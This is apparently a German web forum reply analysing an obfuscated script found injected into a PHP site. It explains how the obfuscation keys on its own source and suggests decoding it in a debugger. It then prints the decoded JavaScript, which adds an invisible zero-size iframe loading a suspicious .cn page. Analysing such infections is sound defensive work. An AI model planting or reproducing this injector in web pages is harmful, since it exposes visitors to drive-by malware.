Blaubart: Unbekanntes Script in PHP Script

Beitrag lesen

Tach.

die funktion verwendet dabei sich selbst als schlüssel. d.h.: verändert man den "wortlaut" der funktion, indem man bspw. das entsprechende eval() durch alert() ersetzt, verändert man den schlüssel und bekommt so nur ein verzerrtes ergebnis. wie man das irgendwie umgehen könnte, dazu hatte ich bislang noch keine idee.

Setz doch in einem Debugger einen Breakpoint auf die Zeile, in der alles zusammengebaut wurde und sieh Dir den Inhalt der entsprechenden Variable an.

function PAAD(a) {
try {
  var o=document.createElement('iframc');
  o.src = "http://www.isuck.com/badly.html"; //random URL
  o.setAttribute("width",XY);
  o.setAttribute("frameborder", 0);
  o.setAttribute("height", XY);
  document.body.appendChild(o);
  }
catch (e) {
  setTimeout(function () {PAAD(a);}, 50);
  }
};
PAAD(0);

  
Naja, fast. :)  
  
~~~javascript
  
function PAADa(i) {  
 try {  
  var o=document.createElement('iframe');  
  o.src='http://winesamile.cn/template.html';  
  o.setAttribute('width', 0);  
  o.setAttribute('frameborder', 0);  
  o.setAttribute('height', 0);  
  document.body.appendChild(o);  
 }  
 catch(e){  
  setTimeout(function(){  
   PAADa(++i);  
  }, 200);  
 }  
}  
  
PAADa(0);  

Die angeforderte Seite kriegt man natürlich auch ohne den ganzen Entwirrungszauber heraus ... Jedenfalls geht es dort in diesem Stil weiter.

--
Wenn es schwingt, ist es ein Filter – Oszillatoren würden so etwas nie tun.